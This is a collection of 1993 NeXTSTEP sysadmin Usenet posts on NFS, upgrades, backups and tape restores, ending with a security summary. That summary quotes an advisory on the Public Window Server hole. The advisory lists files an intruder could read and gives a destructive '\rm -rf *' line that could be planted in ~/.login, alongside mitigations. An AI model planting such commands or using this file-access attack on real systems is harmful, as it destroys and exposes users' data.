From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: NFS manager - does it work? Urgent help with exporting. Message-ID: <17987@umd5.umd.edu> Date: 16 Jan 93 19:23:09 GMT References: <C0y593.Lu9@newcastle.ac.uk> Sender: news@umd5.umd.edu Organization: Los Alamos National Laboratory, NM In article <C0y593.Lu9@newcastle.ac.uk> S.A.McIntyre@durham.ac.uk writes: >Does the NFS manager included with 3.0 actually work? When I use it to >mounte remotely exported nonNeXT-machine filesystems, it only gets about 50% >of them correct...if I open a terminal window and mount them by hand, it >works just fine. Yes. It'll never mount anything for you, because it assumes you want to go into /Net for the automounter. It'll only export things for you if you change the local configuration. >Also, I need to export a directory, but can't seem to get it to work...I >opened the NFSmanager and exported a directory (/tmp/backups) world >read/write (I know, crazy), and like the instruction said, I rebooted the >remote machine...but I got this when I tried to mount the exported directory: >mount: shrug:/tmp/backups server not responding: RPC: Program not registered >mount: retrying Did you add that export to the root domain? If there is no exports information on bootup, /usr/etc/rpc.mountd and /usr/etc/nfsd(s) are not started. Come to think of it, I'm not sure if NFSManager will start those for you -- it should... In short, if you're modifying info in a domain other than local, you'll have to manually export and/or mount things yourself (including firing up rpc.mountd and nfsd's). If you are doing mount information that's not in /Net, you will always have to manually mount them. Rebooting will work either way. >Scott ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ Like my parents, I have never been a regular church member or churchgoer. It doesn't seem plausible to me that there is the kind of God who watches over human affairs, listens to prayers, and tries to guide people to follow His precepts -- there is just too much misery and cruelty for that. On the other hand, I respect and envy the people who get inspiration from their religions. - Benjamin Spock
Newsgroups: comp.sys.next.sysadmin From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Mail Address files? Message-ID: <1993Jan16.120358.2989@seer.demon.co.uk> Sender: paul@seer.demon.co.uk Organization: P & L Systems References: <C0vDHw.CvJ@news.cso.uiuc.edu> Date: Sat, 16 Jan 1993 12:03:58 GMT In article <C0vDHw.CvJ@news.cso.uiuc.edu> gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress) writes: > I would like to import larger files into my NeXT Mail address list. > I cannot find where that file is located and how I could access/edit it. > Do I really have to put in every address by hand? Private Users are held in ~/.NeXT/.mailalias. Format seems to be Private Users:, followed by a comma separated list of addresses (no returns). I can extrapolate other possibilities from that layout :-). Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 paull@cix.compulink.co.uk Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: All of a sudden CDPlayer.app stopped working Message-ID: <C0yrGL.G7D@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Sat, 16 Jan 1993 20:26:45 GMT Weird man weird. Nothing changed in my SCSI chain. My CD-ROM is sd2. When I pop in an audio CD, CDPlayer.app doesn't autolaunch like it used to (it's still in the same place and permissions are correct). Instead, I get: Jan 16 15:20:47 Workspace: Mounted scsi disk at /cdaudio cdaudio.util: CANNOT OPEN CDPlayer If I launch CDplayer and have it ask me for a disk, then it pops up a panel that says: "Please insert disk in external disk 2". So I do just that. The following pops up on the console, and I get another panel that says: "Wrong disk". DISK UNFORMATTED Disk is Write Protected kernel panel posts termination message cdutil: openDrive: Couldn't open /dev/rsd3h (-1) cdutil: openDrive: No such device or address The deal is, there is no sd3! sd1 is SCSI targert 3, an external gig drive, the CD-ROM is sd2 at target 5, and an Exabyte is st0 at target 4. The CD-ROM terminates the chain, and I have a terminator on it. Everything was working just fine a few days ago. I can still mount CD's using /dev/sd2, I just can't listen to any audio CD's, which means I can't work. (-: Anyone have any ideas? -rob francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin From: t_pascal@oxy.edu. (C. Regis Wilson) Subject: Re: Always make backups Message-ID: <1993Jan16.202625.13536@cheshire.oxy.edu> Sender: usenet@cheshire.oxy.edu (System Account) Organization: Occidental College, Los Angeles, CA. USA References: <1993Jan15.223742.25495@cs.ucla.edu> Distribution: usa Date: Sat, 16 Jan 1993 20:26:25 GMT In article <1993Jan15.223742.25495@cs.ucla.edu> geoff@ficus.cs.ucla.edu (Geoffrey Kuenning) writes: > Well, it's too late to help Bostrov, but here's some hard-learned > advice for other people: > > 1) Get some sort of "safe" rm command and alias rm to it. > Actually, this is a bad thing... Use a "safe" rm command, but _do_not_ _call_it_rm_!! Call it 'del' or 'saferm' or whatever. Suppose you're used to a safe rm, then find yourself on a machine with the real rm, and you're phuck*d. --------- T. Pascal, King of Pascal | "He travels fastest who travels alone, 1600 Campus Road, Box 829 | but not when the frost drops below zero Los Angeles, CA 90041 | fifty degrees or more." | -Old eskimo saying
Newsgroups: comp.sys.next.sysadmin From: windsor@symcom.math.uiuc.edu (Eric W. Blankenburg) Subject: >>> STILL NEED HELP <<< NS 1.0 => NS 3.0...tougher!!! Message-ID: <C0yvuM.Av6@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: Math Dept., University of Illinois at Urbana/Champaign Distribution: usa Date: Sat, 16 Jan 1993 22:01:33 GMT Thanks for the many responses to my first note. Here is an exact account of the steps I took to "boot" directly from the CD-ROM Drive. I set the CD-ROM drive to SCSI 0. I installed the 33 Mhz/040 board with 16 MB RAM. I connected the CD-ROM drive to the NeXT SCSI Port. I powered up the CD-ROM Drive first. I put the NeXTStep 3.0 CD in the CD caddy and put it in the CD-ROM Drive. After it had spun up, I pressed the power key to turn on the NeXT machine. All I got was two messages. The first one said...."Testing system"... The second one said..."Bad Disk"...after several minutes I powered down. Do anyone know what to do next? Thanks in advance. windsor@symcom.math.uiuc.edu
Newsgroups: comp.sys.next.sysadmin From: wipeout@netcom.com (Eric Thompson) Subject: Re: Title Bar FONT is screwed for every window -- help [SUMMARY] Message-ID: <1993Jan17.002536.13919@netcom.com> Organization: Netcom - Online Communication Services (408 241-9760 guest) References: <1993Jan15.065532.16944@netcom.com> Date: Sun, 17 Jan 1993 00:25:36 GMT I wrote: > >For no reason I can think of the font in all of the title bars of all >the windows I bring up is now Courier instead of Helvetica.. is this >something simple to fix like a dwrite? Which one? I got several answers: 1. It's under Preferences in 3.0. (I forgot to mention I had 2.2) 2. It's a WindowServer bug, so reboot. 3. All of your fonts are gone. And the winner is..... #2! Everything was fine upon rebooting. I liked the response suggesting all my fonts were gone though :-) Eric
Newsgroups: comp.sys.next.sysadmin From: emarinos@marcon.ka.sub.org (Evstathios Marinos) Subject: Re: HELP: Dump problem with HP 35480A DAT Streamer Message-ID: <1993Jan16.213638.1843@marcon.ka.sub.org> Sender: emarinos@marcon.ka.sub.org (Evstathios Marinos) Organization: The little black box game department Date: Sat, 16 Jan 1993 21:36:38 GMT Hi Everbody, first of all I want to thank all people, who gave me help to solve the problem with the HP 35480A Dat streamer. Especially I want to thank Helmut Schoenborn (Germany) and Lewis Van Winkle (Portland, Oregon) who had the solution for the restore problem. Because it may be interesting for other user too, I am posting my original question and the solution. In comp.sys.next.hardware article <1993Jan8.100905.601@marcon.ka.sub.org> you wrote: > Hi, > > I've got problems with the DAT Streamer HP 35480A running at NeXT machines when > working with dump/restore. > > Dumping files to the streamer workes fine, but performing a restore from a dump > produces a strange behaviour. Some times it works fine, the next time I get > following error: > > ST:CMD=0x8 SR_IO_STATUS=2H > Sense Key=0x0 > Sense Code=0x0 > Tape/Disk Read Error: I/O Error > > I tried the streamer with various NeXT machines, Cube's, Mono's, Turbo Color's > and I always got the same problems with restore. When using tar to write and > read to the streamer no errors ocured. Here is the solution from Lewis van Winkle: > I also was usually unable to make "restore" work on data "dump"ed to > tape using our HP 35480A DAT drive. Then I discovered what > will make NeXT's "restore" work consistently for me: specifying > the restore's "b" option with a value of 10 (block size 10). > For example, the following restore commands will work consistently: > > /usr/etc/restore vtbf 10 /dev/rst0 > TEMPFILE > /usr/etc/restore vbfx 10 /dev/rst0 [filename1 filename2 ...] > > while the same commands without the "b" and "10" will not always > work, but will often abort with error messages of > "Tape/disk read error: I/O error". > > Lewis Van Winkle > Health Informatics > Biomedical Information Communication Center > Oregon Health Sciences University > Portland, Oregon > e-mail lvw@ohsu.edu -- Stati Marinos | Phone : +49 721 37 71 78 Gartenstr. 2 | Fax : +49 721 37 71 79 7500 Karlsruhe 1 (GERMANY) | E-Mail: emarinos@marcon.ka.sub.org Registered NeXTDeveloper | - NeXTMail welcome -
Newsgroups: comp.sys.next.sysadmin From: ben@fizz.fdn.org (Benoit Grange) Subject: Re: noise reduction: spinning down the hard disk Message-ID: <1993Jan16.142059.5148@fizz.fdn.org> Sender: ben@fizz.fdn.org (Benoit Grange) References: <C0r38w.Mz4@news.cso.uiuc.edu> Date: Sat, 16 Jan 1993 14:20:59 GMT In article <C0r38w.Mz4@news.cso.uiuc.edu> kurrer@lisboa.ks.uiuc.edu (Christian Kurrer) writes: > Does anybody know whether it is possible to shut down a hard disk on a > Next in a manner similar to the `power saving' mode on portables/notebook > computers? > On most SCSI disk, sending an OFFLINE command will shut it down. *BUT*, then, any access to the disk will result in an I/O error. Thus you need to unmount the disk before shutting it down, and vice-versa. (I think the scsi driver should be able to detect from the mode sense that the disk is off, and then start it, but I am not sure...) I wrote a little program to try this, people interested shoud mail me to ben@boson.epita.fr (where I have the source). -- ---- Benoit Grange - PARIS - FRANCE Mail to : ben@fizz.fdn.org (SMALL NeXTMails accepted, < 10kb)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: mahesh@numenor.next.nd.edu (Mahesh "BigMan" Subramanya) Subject: Help decreasing space used by netinfo Message-ID: <1993Jan17.174740.29051@news.nd.edu> Sender: news@news.nd.edu (USENET News System) Organization: University of Notre Dame Distribution: na Date: Sun, 17 Jan 1993 17:47:40 GMT I've got around 30 NeXTs here, each running 3.0, that are all standalone boxes. As such, I load the master password file indivudally one each computer. The password file has about 15,000 entries, and the /etc/netinfo directory ends up occupying 17MB !!! Under 2.1, the password file occupied only around 2MB. What is going on?? Any ideas anyone? The NeXTs all have 100MB drives, and space is critical. Also, for many reasons, using a netinfo server is NOT an option The user accounts all have an extra "info" field in netinfo space. Why? And *what* is making the accounts take up virtually 1K per user in netinfo space??? -- ********************* DALEKS RULE ************************* Mahesh Subramanya INTERNET: mahesh@darwin.cc.nd.edu Senior Analyst Office of University Computing University of Notre Dame Voice: (219) 631-6421 Notre Dame, IN 46556 Fax: (219) 631-8201
Newsgroups: comp.sys.next.sysadmin From: scollins@lookout.it.uswc.uswest.com (Steven Collins) Subject: NS3.0 upgrade problem; WindowServer can't fine port Message-ID: <C0zJJq.AEE@da_vinci.it.uswc.uswest.com> Sender: news@da_vinci.it.uswc.uswest.com (IT Netnews) Organization: U S WEST Information Technologies Distribution: usa Date: Sun, 17 Jan 1993 06:33:25 GMT After I upgraded to NS3.0, I rebooted the machine and it made it past "Multi-user startup complete" and the cursor appears but the WindowServer never appears. I get the error: loginwindow: could not find WindowServer port! Any body have an idea what could be causing this? My machine is a standalone upgraded 040 cube. Any information would be appreciated! Thanks, Steve --
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: NeXT networking advice wanted... Message-ID: <C10sB7.912@ux1.cso.uiuc.edu> Keywords: n Organization: University of Illinois at Urbana References: <1993Jan14.212326.4472@julian.uwo.ca> <1993Jan15.085957.2082@seer.demon.co.uk> <1993Jan16.145103.23893@julian.uwo.ca> Distribution: na Date: Sun, 17 Jan 1993 22:40:04 GMT lrb@alex.ctrg.rri.uwo.ca (Lance R. Bailey) writes: >In article <1993Jan15.085957.2082@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes: >>In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca >>(Lance R. Bailey) writes: >>> In article <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> >>> sherwood@space.ualberta.ca (System Administrator) writes: >>> > >>> >Don't do this. I don't know if they got rid of it in 3.0, but 2.x >>> >machines won't boot with /NextLibrary on a non-local disk. >>> > >>> sorry, that's just plain wrong. all my 2.1 machines NFS mount the same >>> /NextLibrary >> >>Machines won't boot unless certain parts of /NextLibrary/Fonts are >>available at boot time. You can mount a full /NextLibrary over the >>stripped down local version. So you are both wrong AND right. >sorry, but there is NOTHING in my /NextLibrary at boot time. ie: /NextLibrary >is a symlink pointing to a directory on a NFS mounted disk. i mount the >partition from rc.local, the very last line in the script. Just to clear things up a bit: The NeXT WILL 'boot' without /NextLibrary/Fonts and /Keyboards (and maybe /Sounds). But, the WindowServer will not start up correctly. You will get the grey screen and no loginwindow that has caused many a sysadmin to tear out half of their hair. So, as long as the proper /NextLibrary is on /NextLibrary by the time the windowserver starts up, things will be OK. The general point is that if you want to be able to boot into the workspace in case your server goes down, it is a very good idea to leave those 3 directories in /NextLibrary alone. They do not take up very much disk space at all. As I posted in a previous article, get rid of Documentation and References, you will save yourself some grief. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: lfahnoe@kegworks.mn.org (Larry Fahnoe) Subject: Re: Always make backups Message-ID: <1993Jan17.181405.756@kegworks.mn.org> Organization: The Kegworks, Minneapolis, Minnesota References: <1j65vmINN5ns@flop.ENGR.ORST.EDU> <1993Jan15.223742.25495@cs.ucla.edu> <SCOTT.93Jan16003408@nic.gac.edu> Distribution: usa Date: Sun, 17 Jan 1993 18:14:05 GMT In article <SCOTT.93Jan16003408@nic.gac.edu> scott@nic.gac.edu (Scott Hess) writes: >In fact, this is where I really wish we could start _anyone_ who >gets a computer. First you give them enough time to generate useful >data and build some confidence, then you ask them to do something >that they'll screw up, and tell them that that was the _only_ copy >available ... until you've totally nuked that data, and felt the >sinking stomach that accompanies that event, you simply don't listen >to sage advice from those of us who _have_ lost everything that >way. It's like telling a kid that they are going to get burnt when >they're playing with fire - a mother just doesn't speak with the >authority of a pair of singed eyebrows! To my mind, moving from large systems to a box as innocent looking as either the cube or slab encorages one to have a false sense of security. Just because it happens to be a personal workstation doesn't change the fact that it is running an OS that is chock full of gotchas for the un-initiated. I would strongly recommend that any NeXT owner have copies of the following: 1) NeXTSTEP Network and System Administration NeXT Computer Addison-Wesley, ISBN: 0-201-63254-3 2) UNIX System Administration Handbook Nemeth, Snyder, Seebass Prentice Hall, ISBN: 0-13-933441-6 3) Practical UNIX Security Garfinkel, Spafford O'Reilly & Associates, ISBN: 0-937175-72-2 You've already spent several thousand bucks for a heck of a system, why not spend another ninety or so on books to help you manage it well? -- Larry Fahnoe Cellular One 612/832-7616 7900 S. Xerxes Ave, Suite 301 lfahnoe@kegworks.mn.org Minneapolis, MN 55431
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: NS3.0 upgrade problem; WindowServer can't fine port Message-ID: <C110Iq.81J@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <C0zJJq.AEE@da_vinci.it.uswc.uswest.com> Distribution: usa Date: Mon, 18 Jan 1993 01:37:38 GMT In article <C0zJJq.AEE@da_vinci.it.uswc.uswest.com> scollins@lookout.it.uswc.uswest.com (Steven Collins) writes: > > After I upgraded to NS3.0, I rebooted the machine and >it made it past "Multi-user startup complete" and the cursor appears >but the WindowServer never appears. >I get the error: >loginwindow: could not find WindowServer port! >Any body have an idea what could be causing this? >My machine is a standalone upgraded 040 cube. I've seent this happen in two different ways. One time the UpgradePrep.app was corrupted. When I went back to 2.1 and did it over again with a different floppy of UpgradePrep, then things went okay. The other time, I had to just mount the 3.0 CD-ROM manually in single usr mode and cp usr/lib/NextStep from the cd onto my hard drive. Sad but true... -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin From: gfield@mordor.UVic.CA (Glen Field) Subject: upgrade 2.0 to 3.0 Message-ID: <1993Jan18.020122.20268@sol.UVic.CA> Sender: news@sol.UVic.CA Organization: University of Victoria Distribution: na Date: Mon, 18 Jan 93 02:01:22 GMT I am about to attempt to upgrade my NeXT from 2.0 to 3.0 . Changes I wish to make prevent me from using the instructions in the manual provided with the upgrade (Upgrading to NeXTStep Release 3). I would like to know if the following procedure is a reasonable one. First the current situation. -> NeXTstation monochrome -> 105 MB internal drive (sd0a, system files here) -> 500 MB external drive (sd1a) -> CD ROM player -> currently on a network consisting mostly of Suns I would like to install the 3.0 OS on the larger external drive and use the internal as a swap disk. When finished the machine will be disconnected from the network and used as a stand alone unit. Here is how I plan to proceed. 1) Level zero dump of both disks over network to an exabyte tape. 2) Boot from CD Rom and install 3.0 on the external drive as described in the 3.0 Release Notes. Use the initialize mode when installing to erase the disk before installation begins. 3) Reboot machine from external and install documentation and system extensions. 4) Recover personal files and Apps from tape. 5) Wipe internal disk and set up as a swap device. I can forsee one problem here. According to the "Network and System Administration" manual the computer will boot using the device with the lowest target number if there is more than one bootable device connected. This seems to imply that its is necessary to swap the SCSI IDs of the internal and external drives. Is this necessary? If so, how is this done? If I have to change SCSI IDs anyway can I avoid usibg SCSI ID #1 since, as I recall, the CDPlayer APP doesn't work properly if there is a SCSI device 1? Any comments or suggestion greatly appreciated. Thank you. Glen Field gfield@mordor.uvic.ca
From: szatrows@gandalf.rutgers.edu (John Kheit) Newsgroups: comp.sys.next.sysadmin Subject: NUCA (Reminder) Message-ID: <Jan.18.00.22.17.1993.6315@gandalf.rutgers.edu> Date: 18 Jan 93 05:22:18 GMT References: <1993Jan1.075155.3045@mouthers.nwnexus.wa.com> <1993Jan2.041442.10646@Happy-Man.com> Organization: Rutgers Univ., New Brunswick, N.J. N U C A---Reminder---Reminder---Reminder---Reminder---Reminder NeXT Users' Choice Awards---Thanks to Conrad Geiger for the name! I will take submissions from the net until _Jan 23,_1993_. All you need to do is send back the form attached below with your favorite software or hardware products for 1992. The subject of the post should be Re: NUCA (or just replying to this post). Send votes to szatrows@gandalf.rutgers.edu I will post the results and maybe see about getting little trophies or ribbons made up for the winners. This is your chance to reward the great NeXT Developer community by shining some well deserved praise their way. The rules are: - You can only vote once (i.e. one vote per e-mail address). - You can vote for any product you wish; be it from NeXT, a 3rd party developer, shareware/freeware (or those tasty frosted donuts from Hostess under the 'other' category ;-) Finally I made up a logo for the winners to use (if they want to) to let everyone know that they won the NUCA. I'll put it up on both orst and nova. People can let me know if they think it stinks and if so please feel free to make your own (after all it is the U S E R S ' choice award so the users should get involved!). BTW you will need Helvetica-Black and Avant Garde (Book Oblique & Demi Oblique) to see the logo in all of its glory :-) NUCA Form below: ----------------------------------------------------------------------- 1.) Software a.) Audio : b.) Communications : c.) DataBase : d.) Developer : e.) Desk Top Publishing: f.) Game : g.) Graphic : h.) MultiMedia : i.) Scientific : j.) Spreadsheet : k.) Wordprocessing : l.) Utility : m.) Video : n.) Other : 2.) Overall Software Product of the Year : 3.) Hardware a.) Audio : b.) Communications : c.) Display : d.) Graphic Input : e.) Mass Storage : f.) Printing/Output : g.) Video : h.) Other : 4.) Overall Hardware Product of the Year : 5.) Overall Product of the Year : -- NeXT Campus Consultant---Rutgers, the State University of New Jersey |my %^) John Kheit/monoChrome | Opinions expressed represent me only! |fried %-) 173 Westgate Drive | Audix Voice Mail# (415) 366-0900 X5512 |brain %>) Edison, NJ 08820-1163 | kheit@hangout.rutgers.edu,szatrows@gandalf.rutgers.edu
Newsgroups: comp.sys.next.sysadmin From: beksten@ucqais.cba.uc.edu (Brick Eksten) Subject: Can't print as user (HELP!) Message-ID: <47@ucqais.cba.uc.edu> Summary: Can't print as user (Help!) Keywords: help, printer Sender: root@babbage.ece.uc.edu (Operator) Organization: University of Cincinnati, College of Business Distribution: US Date: Thu, 14 Jan 1993 20:34:38 GMT I recently installed 3.0, and discovered that I can't print from any applications as a user, only as root. I can print from the printmanager as a user, but every application reports no printer chosen. Help?! -- Brick Eksten Eco Development beksten@ucqais.cba.uc.edu % If this ain't fun I don't know what fun is? % EcoDev@cup.portal.com
Newsgroups: comp.sys.next.sysadmin From: cgb@count0.cmhnet.org (Charles G. Bennett) Subject: HELP! System ALWAYS does disk check Message-ID: <1993Jan17.195642.393@count0.cmhnet.org> Sender: cgb@count0.cmhnet.org Organization: BenaTong Date: Sun, 17 Jan 1993 19:56:42 GMT One of my systems (400 meg,nextstation 25Mhz running 3.0 20meg ram) Has started ALWAYS doing a FULL check disk on power up. running fsck in single user on the raw device does not turn up ANYTHING and doing a reboot -q -n after the fsck will work as long as I don't turn the power off... If I power the system down and back on it WILL do a full disk check.. Any ideas? Chuck -- Chuck Bennett, BenaTong Consulting Harem Security (UNIX Consulting :-) ) cgb@count0.cmhnet.org
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: HELP! System ALWAYS does disk check Date: 18 Jan 1993 17:15:18 GMT Organization: The University of Maryland, College Park Message-ID: <1jeoj6INNd8r@ni.umd.edu> References: <1993Jan17.195642.393@count0.cmhnet.org> In article <1993Jan17.195642.393@count0.cmhnet.org> cgb@count0.cmhnet.org writes: >Has started ALWAYS doing a FULL check disk on power up. >running fsck in single user on the raw device does not >turn up ANYTHING and doing a reboot -q -n after the fsck >will work as long as I don't turn the power off... > >If I power the system down and back on it WILL do a full disk check.. > >Any ideas? Sure. Don't shut down your system that way. By RTFM 'man reboot': Options to reboot are: -n Avoids the sync. It can be used if a disk or the pro- cessor is on fire. -q Reboots quickly and ungracefully, without shutting down running processes first. Note the "quickly and ungracefully" as well as "Avoids the sync". Unless the file system is marked as being unmounted cleanly when the system goes down, it will need to be fsck'ed to ensure that its in good shape. To shut the system down, just use "shutdown" or "halt" with no options. It works for me. Louis Mamakos
From: t68@nikhefh.nikhef.nl (Jos Vermaseren) Newsgroups: comp.sys.next.sysadmin Subject: Security of NeXTs, Summary, LONG Message-ID: <2181@nikhefh.nikhef.nl> Date: 18 Jan 93 15:42:35 GMT Organization: Nikhef-H, Amsterdam (the Netherlands). -Summary of remarks w.r.t. security of the NeXTs. -My own commentary is marked with - in column 1. -I got a number of replies for which I would like to thank the contributors. -Most answers were in the style of > No different than any other UNIX box. -This is of course not the whole story. -There were many general remarks: as long as you take standard measures of changing the passwords on default accounts and removing unnecessary ones, it's not too bad. NFS can be used to crack security, as I don't think that NeXT supports the nosuid option. (and anyway -- I once had to take root on the second NeXT here by copying a setuid executable onto a shared partition and running it -- so I know it can be done if trusted.) -- Anthony J. Stuckey stuckey@mrcnext.cso.uiuc.edu >From what I can see, NeXT security is as good as the competition. All workstations in your list are UNIX based, so true system security is only as good as the UNIX system manager sets it. (If you know how to set a umask or chmod command on DECstation, the same will work on the NeXT.) I used to run ULTRIX in the lab, now have some NeXTs, and have helped another department get DECstations up. The UNIX/ULTRIX security seems very similar on all systems. NeXT does have some point-and-click security in its preferences category that I haven't seen on DEC.... Good luck in your work. ================================================================================ Donald E. Rosenberger Internet: WYJTGWA@GROVE.IUP.EDU Well, the NeXT is relatively secure. Probably as much so if not more than Sun's or HP's. For instance, the NetInfo databases are much harder to access than in the standard BSD OS's. Cheers -- Alec Peterson e-mail: chuckie@choate.edu Our security-minded people here at Texas A&M have done a very thorough job of evaluating the security of the thousands of computers we have on the net (everything from PCs to NeXTs to a Cray), and have identified a number of loopholes and potential weaknesses. They have written a script to "inspect" a machine and report its vulnerabilities. At present the script is only for BSD UNIX, but they are in the process of producing versions for System V UNIX, NeXT, etc. As the resident NeXTpert, I reviewed the points relevant to NeXT and was more or less pleasantly surprised to see that about 95% are simply BSD UNIX weaknesses. When Texas A&M's "Tiger Script" is available for the NeXT I will post an announcement to the net, but for the time being I would recommend just plugging the standard BSD UNIX holes on your NeXTs. Regards, Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu Texas A & M University uucp: uunet!cs.tamu.edu!daugher College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS ---Not an official document of Texas A&M--- -By now there has been a discussion about the hole in security that is formed -by the public window server: ------------------------------------------------------------------------- Date: Fri, 3 Jul 92 00:52:57 PDT From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) To: next-managers@stolaf.edu Subject: Security Implications of Setting the Public Window Server Security Implications of Setting the Public Window Server Here's the summary of what I have found out by experimentation with the Public Window Server switch. In the process, I have found that many NeXTs on the Internet are totally exposed. If you are a system administrator, you might want to try to close the security hole as outlined below, until NeXT does something about it. If you have not warned your users about it, I would bet that about 10-20% of your users have enabled it, despite what an alert panel warns when they did it. I have reported it to "bug_next" and CERT. It appears that Release 3.0 will not contain anything that would make it a bit more secure, judging from reports from 3.0 pre-release users. The CERT people have been nice, but they seem to be waiting for NeXT to take some action, which I don't know if it will happen. I have not gotten any response from NeXT, other than automatic acknowledgements of receipt. I am posting this info so more people will demand that NeXT does something about it in Release 3.0. We know that Preferences app gives the following warning when you attempt to set the Public Window Server switch under "Unix Expert Preferences": "Setting the Public Window Server switch will compromise the security of your files and your account. Do you still want to set this switch?" In practical terms, what does this mean? ** What Intruders Can Do to a Machine with Public Window Server Enabled: [1] They can read your mail in ~/Mailboxes/Active.mbox/mbox. The intruder will still have to know what your home directory is, but that is easy to get if the sysadmin has installed a fixed fingerd. Even if fingerd has not been replaced, /Users/loginname would be a good guess. [Perhaps, NeXT intentionally broke fingerd because of this?] Your private files, even those no other legitimate users on your system can read, become readable by anyone with a NeXT on the Internet. [2] They can read any file the user at the console can read. This means, on most NeXTs, they can read system configuration files in /usr/adm, or /etc directories. They might be interested in: /etc/exports /etc/crontab.local /etc/mtab /etc/xtab /etc/rc.local /usr/adm/messages /usr/adm/daily If you have dumped NetInfo data into traditional flat files, then the following files contain interesting information. /etc/passwd /etc/group /etc/hosts /etc/hosts.equiv [3] They can write to any file the user at the console can write to. This means that they can wipe out most of the files the user owns. Can you imagine the intruder writing to ~/.login file a line like: "\rm -rf *" ? All these things are very easy to do. You need to throw mere 3 lines of PostScript code at the WindowServer of the target machine. It's all documented. ** What You Can Do About It For Now: [1] Comment out the following line in /etc/inetd.conf, and do "kill -HUP <pid_of_inetd>" NSWS stream tcp wait root /usr/lib/NextStep/NSWSd NSWSd NSWSd is for letting non-NeXT clients talk to the WindowServer for opening windows on NeXT. NeXT's -NXHost mechanism does not use this, and currently there is nothing I know of that uses NSWSd. [2] Run a cron job every night (e.g., in /usr/adm/daily) which does: su userlogin -c 'dwrite System PublicWindowServer No' for all users on the system. [3] Ask/demand NeXT that they do something about it, if you use -NXHost feature at all. Ask for finer-grain access control for the NXHost feature -- ability to refuse connections to the WindowServer from outside the subnet with provisions for allowing it for specific users and hosts outside. [4] Warn your users not to use -NXHost feature if possible. If they must use it, tell them that they should: (a) not advertise the fact that they are using it. (b) turn off the Public Window Server switch after use. -- Izumi Ohzawa USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXT Mail OK) -------------------- THE FOLLOWING IS ADDED AUTOMATICALLY -------------------- NeXT-Managers is a self-moderated list. Please be considerate of the agreed policies: send replies to original author only, who will summarize responses; do not send NeXT-Mail postings; time-critical requests only. Send questions and requests to: next-managers-request@stolaf.edu Date: Tue, 29 Dec 92 18:14:21 -0800 From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) To: next-managers@stolaf.edu Subject: Re: Security Implications of Setting the Public Window Server Reply-To: izumi@pinoko.berkeley.edu On July 3, 1992, I posted a note titled: "Security Implications of Setting the Public Window Server" to this list. Someone recently asked me about it, which prompted me to test out my old test programs written for 2.1 on 3.0. They all work fine on 3.0 with minor modifications (which is not good). Basically, everything I said about PublicWindowServer security problems are still valid for 3.0. There is a new switch "Display EPS Security" in 3.0 Preferences. This switch is irrelevant for the security hole I talked about. That switch merely prevents EPS files embedded in documents such as NeXTmail and *.rftd files from doing something bad. There was a famous NewsGrazer posting which will temporarily "melt" your Workspace appearance. The new switch will prevent programs such as "melt.ps" from doing nasty things. It won't solve the problem of indiscriminate remote access to your WindowServer/DPS from anywhere on the Internet. I would be happy to mail my 2 test programs to qualified NeXT managers, if you think you can nudge/force NeXT to do something about it, e.g., fine-grain access control for NXHost feature. One reads a remote file given the hostname and full pathname of the file. The other writes a warning message to /tmp/console.log of a remote host. Anybody buying a few hundread machines or has ears of key NeXT people? Happy New Year. --- Izumi Ohzawa USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXT Mail OK) -The following seems up to now the best solution: You can disable it completely. Under NeXTstep 2.x, just go into the .nib file for the Expert Preferences field and remove the buttons. Under 3.0, niutil -createprop / / security_options discourage_public_servers. Then, for the piece de resistance, put the following into your Login Hook code: su $1 -c 'dwrite System PublicWindowServer NO' (might want to get the PublicSoundSever there too, which will completely disable it as that won't take effect until you log out and back in) so whenever they log in it gets turned off (if they do a dwrite they can make it so that it'll be enabled next time they log in, but if the loginhook turns it back off again...). Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) -There are other very disturbing things: The next is as secure as any unix workstation can be. There are a couple of things to watch out for. The NeXT is shipped with the intention of it being a personal workstation (almost like for home use) with a few strange things. First, the root directory is 1777 which will allow anyone to write to the root directory Second, The default permissions for users NeXT mail is 755 which will allow anyone to read your mail. These are easily fixed and not really a big problem. Every once in a while you will here of someone finding a backdoor but overall the NeXT is fairly secure. Kevin Solie Director of Development: benchMark Developments, Inc. NeXT Value Added Reseller kevins@ms.uky.edu kevins@inslab.uky.edu (NeXT 